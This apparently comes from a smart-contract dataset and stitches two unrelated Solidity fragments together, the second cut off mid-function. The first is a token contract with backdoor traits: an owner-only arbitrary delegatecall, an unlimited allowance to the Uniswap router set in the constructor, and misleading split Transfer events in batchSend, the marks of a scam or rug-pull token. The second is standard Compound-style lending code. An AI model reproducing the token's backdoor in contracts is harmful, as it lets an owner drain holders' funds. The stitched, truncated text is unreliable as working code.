require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,543 |
pragma solidity ^0.5.8;
contract ComptrollerErrorReporter {
enum Error {
NO_ERROR,
UNAUTHORIZED,
COMPTROLLER_MISMATCH,
INSUFFICIENT_SHORTFALL,
INSUFFICIENT_LIQUIDITY,
INVALID_CLOSE_FACTOR,
INVALID_COLLATERAL_FACTOR,
INVALID_LIQUIDATION_INCENTIVE,
MARKET_NOT_ENTERED,
MARKET_NOT_LISTED,
MARKET_ALREADY_LISTED,
MATH_ERROR,
NONZERO_BORROW_BALANCE,
PRICE_ERROR,
REJECTION,
SNAPSHOT_ERROR,
TOO_MANY_ASSETS,
TOO_MUCH_REPAY
}
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK,
EXIT_MARKET_BALANCE_OWED,
EXIT_MARKET_REJECTION,
SET_CLOSE_FACTOR_OWNER_CHECK,
SET_CLOSE_FACTOR_VALIDATION,
SET_COLLATERAL_FACTOR_OWNER_CHECK,
SET_COLLATERAL_FACTOR_NO_EXISTS,
SET_COLLATERAL_FACTOR_VALIDATION,
SET_COLLATERAL_FACTOR_WITHOUT_PRICE,
SET_IMPLEMENTATION_OWNER_CHECK,
SET_LIQUIDATION_INCENTIVE_OWNER_CHECK,
SET_LIQUIDATION_INCENTIVE_VALIDATION,
SET_MAX_ASSETS_OWNER_CHECK,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_PENDING_IMPLEMENTATION_OWNER_CHECK,
SET_PRICE_ORACLE_OWNER_CHECK,
SUPPORT_MARKET_EXISTS,
SUPPORT_MARKET_OWNER_CHECK,
ZUNUSED
}
event Failure(uint error, uint info, uint detail);
function fail(Error err, FailureInfo info) internal returns (uint) {
emit Failure(uint(err), uint(info), 0);
return uint(err);
}
function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) {
emit Failure(uint(err), uint(info), opaqueError);
return uint(err);
}
}
contract TokenErrorReporter {
enum Error {
NO_ERROR,
UNAUTHORIZED,
BAD_INPUT,
COMPTROLLER_REJECTION,
COMPTROLLER_CALCULATION_ERROR,
INTEREST_RATE_MODEL_ERROR,
INVALID_ACCOUNT_PAIR,
INVALID_CLOSE_AMOUNT_REQUESTED,
INVALID_COLLATERAL_FACTOR,
MATH_ERROR,
MARKET_NOT_FRESH,
MARKET_NOT_LISTED,
TOKEN_INSUFFICIENT_ALLOWANCE,
TOKEN_INSUFFICIENT_BALANCE,
TOKEN_INSUFFICIENT_CASH,
TOKEN_TRANSFER_IN_FAILED,
TOKEN_TRANSFER_OUT_FAILED
}
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED,
ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED,
ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED,
BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
BORROW_ACCRUE_INTEREST_FAILED,
BORROW_CASH_NOT_AVAILABLE,
BORROW_FRESHNESS_CHECK,
BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,
BORROW_MARKET_NOT_LISTED,
BORROW_COMPTROLLER_REJECTION,
LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED,
LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED,
LIQUIDATE_COLLATERAL_FRESHNESS_CHECK,
LIQUIDATE_COMPTROLLER_REJECTION,
LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED,
LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX,
LIQUIDATE_CLOSE_AMOUNT_IS_ZERO,
LIQUIDATE_FRESHNESS_CHECK,
LIQUIDATE_LIQUIDATOR_IS_BORROWER,
LIQUIDATE_REPAY_BORROW_FRESH_FAILED,
LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED,
LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED,
LIQUIDATE_SEIZE_COMPTROLLER_REJECTION,
LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER,
LIQUIDATE_SEIZE_TOO_MUCH,
MINT_ACCRUE_INTEREST_FAILED,
MINT_COMPTROLLER_REJECTION,
MINT_EXCHANGE_CALCULATION_FAILED,
MINT_EXCHANGE_RATE_READ_FAILED,
MINT_FRESHNESS_CHECK,
MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,
MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
MINT_TRANSFER_IN_FAILED,
MINT_TRANSFER_IN_NOT_POSSIBLE,
REDEEM_ACCRUE_INTEREST_FAILED,
REDEEM_COMPTROLLER_REJECTION,
REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED,
REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED,
REDEEM_EXCHANGE_RATE_READ_FAILED,
REDEEM_FRESHNESS_CHECK,
REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,
REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
REDEEM_TRANSFER_OUT_NOT_POSSIBLE,
REDUCE_RESERVES_ACCRUE_INTEREST_FAILED,
REDUCE_RESERVES_ADMIN_CHECK,
REDUCE_RESERVES_CASH_NOT_AVAILABLE,
REDUCE_RESERVES_FRESH_CHECK,
REDUCE_RESERVES_VALIDATION,
REPAY_BEHALF_ACCRUE_INTEREST_FAILED,
REPAY_BORROW_ACCRUE_INTEREST_FAILED,
REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_COMPTROLLER_REJECTION,
REPAY_BORROW_FRESHNESS_CHECK,
REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE,
SET_COLLATERAL_FACTOR_OWNER_CHECK,
SET_COLLATERAL_FACTOR_VALIDATION,
SET_COMPTROLLER_OWNER_CHECK,
SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED,
SET_INTEREST_RATE_MODEL_FRESH_CHECK,
SET_INTEREST_RATE_MODEL_OWNER_CHECK,
SET_MAX_ASSETS_OWNER_CHECK,
SET_ORACLE_MARKET_NOT_LISTED,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED,
SET_RESERVE_FACTOR_ADMIN_CHECK,
SET_RESERVE_FACTOR_FRESH_CHECK,
SET_RESERVE_FACTOR_BOUNDS_CHECK,
TRANSFER_COMPTROLLER_REJECTION,
TRANSFER_NOT_ALLOWED,
TRANSFER_NOT_ENOUGH,
TRANSFER_TOO_MUCH
}
event Failure(uint error, uint info, uint detail);
function fail(Error err, FailureInfo info) internal returns (uint) {
emit Failure(uint(err), uint(info), 0);
return uint(err);
}
function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) {
emit Failure(uint(err), uint(info), opaqueError);
return uint(err);
}
}
pragma solidity ^0.5.8;
interface ComptrollerInterface {
function isComptroller() external view returns (bool);
function enterMarkets(address[] calldata cTokens) external returns (uint[] memory);
function exitMarket(address cToken) external returns (uint);
function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint);
function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external;
function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint);
function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external;
function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint);
function borrowVerify(address cToken, address borrower, uint borrowAmount) external;
function repayBorrowAllowed(
address cToken,
address payer,
address borrower,
uint repayAmount) external returns (uint);
function repayBorrowVerify(
address cToken,
address payer,
address borrower,
uint repayAmount,
uint borrowerIndex) external;
function liquidateBorrowAllowed(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount) external returns (uint);
function liquidateBorrowVerify(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount,
uint seizeTokens) external;
function seizeAllowed(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external returns (uint);
function seizeVerify(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external;
function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint);
function transferVerify(address cToken, address src, address dst, uint transferTokens) external;
function liquidateCalculateSeizeTokens(
address cTokenBorrowed,
address cTokenCollateral,
uint repayAmount) external view returns (uint, uint);
}
pragma solidity ^0.5.8;
contract CarefulMath {
enum MathError {
NO_ERROR,
DIVISION_BY_ZERO,
INTEGER_OVERFLOW,
INTEGER_UNDERFLOW
}
function mulUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (a == 0) {
return (MathError.NO_ERROR, 0);
}
uint c = a * b;
if (c / a != b) {
return (MathError.INTEGER_OVERFLOW, 0);
} else {
return (MathError.NO_ERROR, c);
}
}
function divUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b == 0) {
return (MathError.DIVISION_BY_ZERO, 0);
}
return (MathError.NO_ERROR, a / b);
}
function subUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b <= a) {
return (MathError.NO_ERROR, a - b);
} else {
return (MathError.INTEGER_UNDERFLOW, 0);
}
}
function addUInt(uint a, uint b) internal pure returns (MathError, uint) {
uint c = a + b;
if (c >= a) {
return (MathError.NO_ERROR, c);
} else {
return (MathError.INTEGER_OVERFLOW, 0);
}
}
function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) {
(MathError err0, uint sum) = addUInt(a, b);
if (err0 != MathError.NO_ERROR) {
return (err0, 0);
}
return subUInt(sum, c);
}
}
pragma solidity ^0.5.8;
contract Exponential is CarefulMath {
uint constant expScale = 1e18;
uint constant halfExpScale = expScale/2;
uint constant mantissaOne = expScale;
struct Exp {
uint mantissa;
}
function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledNumerator) = mulUInt(num, expScale);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
(MathError err1, uint rational) = divUInt(scaledNumerator, denom);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: rational}));
}
function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError error, uint result) = addUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError error, uint result) = subUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa}));
}
function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(product));
}
function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return addUInt(truncate(product), addend);
}
function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {
(MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa}));
}
function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) {
(MathError err0, uint numerator) = mulUInt(expScale, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return getExp(numerator, divisor.mantissa);
}
function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) {
(MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(fraction));
}
function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
(MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
(MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale);
assert(err2 == MathError.NO_ERROR);
return (MathError.NO_ERROR, Exp({mantissa: product}));
}
function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) {
return mulExp(Exp({mantissa: a}), Exp({mantissa: b}));
}
function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) {
(MathError err, Exp memory ab) = mulExp(a, b);
if (err != MathError.NO_ERROR) {
return (err, ab);
}
return mulExp(ab, c);
}
function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
return getExp(a.mantissa, b.mantissa);
}
function truncate(Exp memory exp) pure internal returns (uint) {
return exp.mantissa / expScale;
}
function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa < right.mantissa;
}
function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa <= right.mantissa;
}
function isZeroExp(Exp memory value) pure internal returns (bool) {
return value.mantissa == 0;
}
}
pragma solidity ^0.5.8;
interface EIP20Interface {
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256 balance);
function transfer(address dst, uint256 amount) external returns (bool success);
function transferFrom(address src, address dst, uint256 amount) external returns (bool success);
function approve(address spender, uint256 amount) external returns (bool success);
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
pragma solidity ^0.5.8;
interface EIP20NonStandardInterface {
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256 balance);
function transfer(address dst, uint256 amount) external;
function transferFrom(address src, address dst, uint256 amount) external;
function approve(address spender, uint256 amount) external returns (bool success);
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
pragma solidity ^0.5.8;
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "re-entered");
}
}
pragma solidity ^0.5.8;
interface InterestRateModel {
function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint, uint);
function isInterestRateModel() external view returns (bool);
}
pragma solidity ^0.5.8;
contract CToken is EIP20Interface, Exponential, TokenErrorReporter, ReentrancyGuard {
bool public constant isCToken = true;
string public name;
string public symbol;
uint public decimals;
uint constant borrowRateMaxMantissa = 5e14;
uint constant reserveFactorMaxMantissa = 1e18;
address payable public admin;
address payable public pendingAdmin;
ComptrollerInterface public comptroller;
InterestRateModel public interestRateModel;
uint public initialExchangeRateMantissa;
uint public reserveFactorMantissa;
uint public accrualBlockNumber;
uint public borrowIndex;
uint public totalBorrows;
uint public totalReserves;
uint256 public totalSupply;
mapping (address => uint256) accountTokens;
mapping (address => mapping (address => uint256)) transferAllowances;
struct BorrowSnapshot {
uint principal;
uint interestIndex;
}
mapping(address => BorrowSnapshot) accountBorrows;
event AccrueInterest(uint interestAccumulated, uint borrowIndex, uint totalBorrows);
event Mint(address minter, uint mintAmount, uint mintTokens);
event Redeem(address redeemer, uint redeemAmount, uint redeemTokens);
event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows);
event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows);
event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens);
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
event NewAdmin(address oldAdmin, address newAdmin);
event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller);
event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel);
event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa);
event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves);
constructor(ComptrollerInterface comptroller_,
InterestRateModel interestRateModel_,
uint initialExchangeRateMantissa_,
string memory name_,
string memory symbol_,
uint decimals_) internal {
admin = msg.sender;
initialExchangeRateMantissa = initialExchangeRateMantissa_;
require(initialExchangeRateMantissa > 0, "Initial exchange rate must be greater than zero.");
uint err = _setComptroller(comptroller_);
require(err == uint(Error.NO_ERROR), "Setting comptroller failed");
accrualBlockNumber = getBlockNumber();
borrowIndex = mantissaOne;
err = _setInterestRateModelFresh(interestRateModel_);
require(err == uint(Error.NO_ERROR), "Setting interest rate model failed");
name = name_;
symbol = symbol_;
decimals = decimals_;
}
function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint) {
uint allowed = comptroller.transferAllowed(address(this), src, dst, tokens);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.TRANSFER_COMPTROLLER_REJECTION, allowed);
}
if (src == dst) {
return fail(Error.BAD_INPUT, FailureInfo.TRANSFER_NOT_ALLOWED);
}
uint startingAllowance = 0;
if (spender == src) {
startingAllowance = uint(-1);
} else {
startingAllowance = transferAllowances[src][spender];
}
MathError mathErr;
uint allowanceNew;
uint srcTokensNew;
uint dstTokensNew;
(mathErr, allowanceNew) = subUInt(startingAllowance, tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ALLOWED);
}
(mathErr, srcTokensNew) = subUInt(accountTokens[src], tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ENOUGH);
}
(mathErr, dstTokensNew) = addUInt(accountTokens[dst], tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_TOO_MUCH);
}
accountTokens[src] = srcTokensNew;
accountTokens[dst] = dstTokensNew;
if (startingAllowance != uint(-1)) {
transferAllowances[src][spender] = allowanceNew;
}
emit Transfer(src, dst, tokens);
comptroller.transferVerify(address(this), src, dst, tokens);
return uint(Error.NO_ERROR);
}
function transfer(address dst, uint256 amount) external nonReentrant returns (bool) {
return transferTokens(msg.sender, msg.sender, dst, amount) == uint(Error.NO_ERROR);
}
function transferFrom(address src, address dst, uint256 amount) external nonReentrant returns (bool) {
return transferTokens(msg.sender, src, dst, amount) == uint(Error.NO_ERROR);
}
function approve(address spender, uint256 amount) external returns (bool) {
address src = msg.sender;
transferAllowances[src][spender] = amount;
emit Approval(src, spender, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint256) {
return transferAllowances[owner][spender];
}
function balanceOf(address owner) external view returns (uint256) {
return accountTokens[owner];
}
function balanceOfUnderlying(address owner) external returns (uint) {
Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()});
(MathError mErr, uint balance) = mulScalarTruncate(exchangeRate, accountTokens[owner]);
require(mErr == MathError.NO_ERROR);
return balance;
}
function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) {
uint cTokenBalance = accountTokens[account];
uint borrowBalance;
uint exchangeRateMantissa;
MathError mErr;
(mErr, borrowBalance) = borrowBalanceStoredInternal(account);
if (mErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0, 0, 0);
}
(mErr, exchangeRateMantissa) = exchangeRateStoredInternal();
if (mErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0, 0, 0);
}
return (uint(Error.NO_ERROR), cTokenBalance, borrowBalance, exchangeRateMantissa);
}
function getBlockNumber() internal view returns (uint) {
return block.number;
}
function borrowRatePerBlock() external view returns (uint) {
(uint opaqueErr, uint borrowRateMantissa) = interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves);
require(opaqueErr == 0, "borrowRatePerBlock: interestRateModel.borrowRate failed");
return borrowRateMantissa;
}
function supplyRatePerBlock() external view returns (uint) {
uint exchangeRateMantissa = exchangeRateStored();
(uint e0, uint borrowRateMantissa) = interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves);
require(e0 == 0, "supplyRatePerBlock: calculating borrowRate failed");
(MathError e1, Exp memory underlying) = mulScalar(Exp({mantissa: exchangeRateMantissa}), totalSupply);
require(e1 == MathError.NO_ERROR, "supplyRatePerBlock: calculating underlying failed");
(MathError e2, Exp memory borrowsPer) = divScalarByExp(totalBorrows, underlying);
require(e2 == MathError.NO_ERROR, "supplyRatePerBlock: calculating borrowsPer failed");
(MathError e3, Exp memory oneMinusReserveFactor) = subExp(Exp({mantissa: mantissaOne}), Exp({mantissa: reserveFactorMantissa}));
require(e3 == MathError.NO_ERROR, "supplyRatePerBlock: calculating oneMinusReserveFactor failed");
(MathError e4, Exp memory supplyRate) = mulExp3(Exp({mantissa: borrowRateMantissa}), oneMinusReserveFactor, borrowsPer);
require(e4 == MathError.NO_ERROR, "supplyRatePerBlock: calculating supplyRate failed");
return supplyRate.mantissa;
}
function totalBorrowsCurrent() external nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return totalBorrows;
}
function borrowBalanceCurrent(address account) external nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return borrowBalanceStored(account);
}
function borrowBalanceStored(address account) public view returns (uint) {
(MathError err, uint result) = borrowBalanceStoredInternal(account);
require(err == MathError.NO_ERROR, "borrowBalanceStored: borrowBalanceStoredInternal failed");
return result;
}
function borrowBalanceStoredInternal(address account) internal view returns (MathError, uint) {
MathError mathErr;
uint principalTimesIndex;
uint result;
BorrowSnapshot storage borrowSnapshot = accountBorrows[account];
if (borrowSnapshot.principal == 0) {
return (MathError.NO_ERROR, 0);
}
(mathErr, principalTimesIndex) = mulUInt(borrowSnapshot.principal, borrowIndex);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
(mathErr, result) = divUInt(principalTimesIndex, borrowSnapshot.interestIndex);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
return (MathError.NO_ERROR, result);
}
function exchangeRateCurrent() public nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return exchangeRateStored();
}
function exchangeRateStored() public view returns (uint) {
(MathError err, uint result) = exchangeRateStoredInternal();
require(err == MathError.NO_ERROR, "exchangeRateStored: exchangeRateStoredInternal failed");
return result;
}
function exchangeRateStoredInternal() internal view returns (MathError, uint) {
if (totalSupply == 0) {
return (MathError.NO_ERROR, initialExchangeRateMantissa);
} else {
uint totalCash = getCashPrior();
uint cashPlusBorrowsMinusReserves;
Exp memory exchangeRate;
MathError mathErr;
(mathErr, cashPlusBorrowsMinusReserves) = addThenSubUInt(totalCash, totalBorrows, totalReserves);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
(mathErr, exchangeRate) = getExp(cashPlusBorrowsMinusReserves, totalSupply);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
return (MathError.NO_ERROR, exchangeRate.mantissa);
}
}
function getCash() external view returns (uint) {
return getCashPrior();
}
struct AccrueInterestLocalVars {
MathError mathErr;
uint opaqueErr;
uint borrowRateMantissa;
uint currentBlockNumber;
uint blockDelta;
Exp simpleInterestFactor;
uint interestAccumulated;
uint totalBorrowsNew;
uint totalReservesNew;
uint borrowIndexNew;
}
function accrueInterest() public returns (uint) {
AccrueInterestLocalVars memory vars;
(vars.opaqueErr, vars.borrowRateMantissa) = interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves);
require(vars.borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high");
if (vars.opaqueErr != 0) {
return failOpaque(Error.INTEREST_RATE_MODEL_ERROR, FailureInfo.ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED, vars.opaqueErr);
}
vars.currentBlockNumber = getBlockNumber();
(vars.mathErr, vars.blockDelta) = subUInt(vars.currentBlockNumber, accrualBlockNumber);
assert(vars.mathErr == MathError.NO_ERROR);
(vars.mathErr, vars.simpleInterestFactor) = mulScalar(Exp({mantissa: vars.borrowRateMantissa}), vars.blockDelta);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.interestAccumulated) = mulScalarTruncate(vars.simpleInterestFactor, totalBorrows);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.totalBorrowsNew) = addUInt(vars.interestAccumulated, totalBorrows);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.totalReservesNew) = mulScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), vars.interestAccumulated, totalReserves);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.borrowIndexNew) = mulScalarTruncateAddUInt(vars.simpleInterestFactor, borrowIndex, borrowIndex);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, uint(vars.mathErr));
}
accrualBlockNumber = vars.currentBlockNumber;
borrowIndex = vars.borrowIndexNew;
totalBorrows = vars.totalBorrowsNew;
totalReserves = vars.totalReservesNew;
emit AccrueInterest(vars.interestAccumulated, vars.borrowIndexNew, totalBorrows);
return uint(Error.NO_ERROR);
}
function mintInternal(uint mintAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED);
}
return mintFresh(msg.sender, mintAmount);
}
struct MintLocalVars {
Error err;
MathError mathErr;
uint exchangeRateMantissa;
uint mintTokens;
uint totalSupplyNew;
uint accountTokensNew;
}
function mintFresh(address minter, uint mintAmount) internal returns (uint) {
uint allowed = comptroller.mintAllowed(address(this), minter, mintAmount);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.MINT_COMPTROLLER_REJECTION, allowed);
}
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.MINT_FRESHNESS_CHECK);
}
MintLocalVars memory vars;
